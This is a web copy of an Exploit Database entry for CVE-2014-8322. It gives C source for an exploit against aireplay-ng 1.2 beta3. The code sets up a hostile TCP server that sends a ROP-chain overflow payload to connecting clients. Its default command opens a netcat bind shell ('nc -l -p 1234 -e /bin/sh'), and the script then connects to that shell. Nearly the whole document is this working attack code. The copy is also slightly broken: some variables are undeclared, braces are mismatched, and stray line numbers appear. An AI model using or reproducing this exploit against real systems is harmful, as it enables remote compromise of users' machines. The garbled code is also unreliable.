Aireplay-ng 1.2 beta3 – ‘tcp_test’ Length Stack Overflow

Exploit Database
128 阅读

作者： Nick Sampanis

日期： 2014-10-20
类别：
- remote
平台：
- linux
来源：https://www.exploit-db.com/exploits/35018/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

* Exploit Title: Aireplay "tcp_test" Length Parameter Inconsistency

* Date: 10/3/2014

* Exploit Author: Nick Sampanis

* Vendor Homepage: http://www.aircrack-ng.org/

* Version: Aireplay-ng 1.2 beta3

* Tested on: Kali Linux 1.0.9 x64

* CVE : CVE-2014-8322

* Description: Affected option "aireplay-ng --test"

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <errno.h>

#include <sys/select.h>

#include <sys/time.h>

#include <sys/types.h>/* See NOTES */

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#define __packed __attribute__ ((__packed__))

struct net_hdr {

uint8_t nh_type;

uint32_tnh_len;

uint8_t nh_data[0];

}__packed;

#define POP_RDI "\xb8\x29\x40\x00\x00\x00\x00\x00"

#define POP_RBX "\x88\x92\x41\x00\x00\x00\x00\x00"

#define RPOP_RBX"\x00\x00\x00\x00\x00\x88\x92\x41"

#define MOV_TO_RDI"\xf3\x47\x41\x00\x00\x00\x00\x00"

#define COMMAND "nc -l -p 1234 -e /bin/sh\x00"

#define SYSTEM"\x50\x23\x40\x00\x00\x00\x00\x00"

#define PAD_BYTES 1304

unsigned char *exploit_init(char *command, size_t size);

int main(int argc, char *argv[])

{

struct net_hdr rh;

struct sockaddr_in server, client;

unsigned char *exploit;

socklen_t len;

size_t size;

char *command, exec[1024];

int sockfd, cl, val = 1;

printf("[+]Exploit for aireplay-ng tcp_test remote stack overflow\n");

printf("[+]Written by Nick Sampanis CVE-2014-8322\n");

if (argc == 1) {

fprintf(stderr,"[-]Usage: %s port command\n"

"[-][Default %s]\n", argv[0], COMMAND);

return -1;

}

if ((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {

perror("[-]Socket()");

return -1;

}

memset((char *)&server, '\0', sizeof(server));

len = sizeof(server);

server.sin_addr.s_addr = 0;

server.sin_port = htons(atoi(argv[1]));

server.sin_family = AF_INET;

if (argv[2])

command = argv[2];

else

command = COMMAND;

setsockopt(sockfd, SOL_SOCKET,SO_REUSEADDR, &val, sizeof(val));

if (bind(sockfd, (struct sockaddr *)&server, sizeof(server)) == -1) {

perror("bind()");

return -1;

}

if (listen(sockfd, 5) == -1) {

perror("listen()");

return -1;

}

printf("[+]Server is waiting for connections on port %d\n", atoi(argv[1]));

if (!(size = (strlen(command)+8)*5/4*8+PAD_BYTES+sizeof(rh)))

return -1;

exploit = exploit_init(command, size);

while (1) {

if ((cl = accept(sockfd, (struct sockaddr *)&client, &len)) == -1) {

perror("[-]Accept");

return -1;

}

printf("[+]Client %s has been connected\n", inet_ntoa(client.sin_addr));

if (send(cl, exploit, size, 0) == -1) {

perror("[-]Send");

return -1;

}

if (recv(cl, &rh, sizeof(rh), 0) == -1) {

perror("[-]Recv");

return -1;

}

close(cl);

sleep(1);

if (!argv[2]) {

printf("[+]Enjoy your shell\n\n");

snprintf(exec, sizeof(exec), "nc %s %d",

inet_ntoa(client.sin_addr), atoi(argv[1]));

system(exec);

}

close(sockfd);

free(exploit);

return 0;

}

unsigned char *exploit_init(char *command, size_t size)

{

unsigned long DATA = 0x6265a0;

unsigned char *buffer, *exploit;

struct net_hdr nh;

buffer = malloc(size);

nh.nh_type = 0x1;

nh.nh_len = htonl(size-sizeof(nh));

memcpy(buffer, &nh, sizeof(nh));

memset(buffer+sizeof(nh), 'A', PAD_BYTES);

exploit = buffer+sizeof(nh)+PAD_BYTES;

for (i = j = 0; j < strlen(command)+4; i+=5) {

memcpy(exploit+i*8, POP_RDI, 8);

memcpy(exploit+(i+1)*8, &DATA, 8);

memcpy(exploit+(i+2)*8, POP_RBX, 8);

memcpy(exploit+(i+3)*8, command+j, 8);

memcpy(exploit+(i+4)*8, MOV_TO_RDI, 8);

DATA += 4;

j += 4;

}

DATA = 0x6265a0; /*.data*/

memcpy(exploit+i*8, POP_RDI, 8);

memcpy(exploit+(i+1)*8, &DATA, 8);

memcpy(exploit+(i+2)*8, SYSTEM, 8);

return buffer;

}